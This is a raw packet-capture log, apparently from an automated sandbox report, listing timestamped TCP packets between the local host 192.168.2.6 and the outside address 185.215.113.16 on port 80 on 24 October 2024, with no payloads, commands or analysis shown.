Oct 24, 2024 11:02:36.986038923 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.986047029 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986119986 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986129999 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986151934 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.986159086 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986170053 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986181021 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986192942 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.986195087 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986210108 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.986331940 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986341953 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986346960 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986352921 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986357927 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986362934 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986367941 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986372948 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986378908 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986428022 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986433029 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986444950 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986449957 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986457109 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986463070 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986521959 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.986541033 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986551046 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986557007 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986567020 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986572981 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.986573935 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986584902 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986588955 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.986603975 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986607075 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.986615896 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986622095 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.986625910 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986635923 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986650944 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.986654997 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986668110 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986675978 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.986677885 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986690998 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986701965 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986711025 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.986715078 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986737013 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.986745119 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986749887 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.986756086 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986763000 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986771107 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.986788034 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.986812115 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.992727995 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.024205923 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.024229050 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.024243116 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.024254084 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.024266958 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.024276018 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.024291039 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.024297953 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.024343967 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.024384022 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.024447918 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.024458885 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.024478912 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.024482965 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.024491072 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.024502039 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.024517059 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.024521112 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.024528027 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.024549007 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.024564028 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.024585962 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.024596930 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.024616003 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.024629116 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.024640083 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.024652004 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.024652004 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.024679899 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.024694920 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.024723053 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.024734974 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.024745941 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.024760008 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.024768114 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.024796009 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.062591076 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.062608004 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.062628984 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.062640905 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.062654018 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.062666893 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.062669039 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.062709093 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.062724113 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.062742949 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.062755108 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.062768936 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.062798977 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.062846899 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.062848091 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.062859058 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.062871933 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.062886000 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.062897921 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.062906981 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.062910080 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.062922001 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.062933922 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.062952042 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.063019037 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.063075066 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.063086987 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.063116074 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.063131094 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.063143969 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.063155890 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.063157082 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.063170910 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.063186884 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.063220024 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.063222885 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.063230038 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.063244104 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.063255072 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.063266039 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.063275099 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.063278913 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.063296080 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.063330889 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.063352108 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.063364029 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.063375950 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.063388109 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.063406944 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.063430071 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.064779997 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.064835072 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.064846992 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.064891100 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.064902067 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.064908028 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.064913988 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.064949989 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.064980030 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.065116882 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.065129042 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.065135956 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.065145969 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.065152884 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.065160036 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.065165997 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.065171003 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.065176010 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.065207958 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.065227032 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.101829052 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.101891041 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.101999044 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102014065 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102034092 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102045059 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102049112 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.102058887 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102068901 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102081060 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102093935 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102097988 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.102123022 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.102140903 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102144957 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.102153063 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102164984 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102174997 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102185011 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.102188110 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102199078 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102211952 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.102250099 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.102380037 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102391958 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102406025 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102431059 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.102454901 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102467060 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102478981 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102490902 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102493048 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.102515936 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.102546930 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102560043 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102571964 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102585077 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102601051 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.102628946 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.102634907 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102646112 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102658987 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102670908 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.102677107 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102688074 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102696896 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.102699995 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102725983 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.102765083 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102777004 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102790117 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102807045 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102818012 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.102821112 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102838993 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102844000 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.102852106 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102860928 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.102863073 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102875948 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102885962 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.102888107 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102916002 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.102972984 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102983952 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.102994919 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.103018045 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.103022099 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.103029966 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.103043079 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.103055000 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.103060961 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.103068113 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.103084087 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.103101969 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.103115082 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.103127003 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.103138924 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.103147984 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.103163004 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.103173971 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.103192091 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.103204966 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.103209972 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.103218079 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.103255033 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.103288889 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.103301048 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.103319883 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.103339911 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.103378057 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.103389978 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.103400946 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.103414059 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.103414059 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.103427887 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.103432894 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.103441000 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.103452921 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.103480101 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.103513956 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.103832960 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.103908062 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.103919029 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.103935957 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.103948116 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.103959084 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.103960991 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.103976011 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.103986025 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.103988886 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.103995085 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.104003906 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104015112 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104027033 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.104027987 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104051113 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104053974 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.104063034 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104094028 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104104042 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.104104996 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104116917 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104126930 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104132891 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.104140997 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104162931 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.104187965 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.104222059 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104234934 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104247093 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104258060 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104271889 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104283094 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104321957 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104324102 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.104324102 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.104335070 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104346037 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104357004 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104379892 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.104414940 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.104439020 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104450941 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104463100 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104474068 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104485035 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.104487896 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104500055 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104513884 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.104523897 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104537964 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104551077 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104553938 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.104578972 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.104584932 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104597092 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104609013 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104621887 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104624987 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.104648113 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.104711056 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104722977 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104733944 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104743958 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104753971 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.104758978 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.104768038 CEST	80	49756	185.215.113.16	192.168.2.6
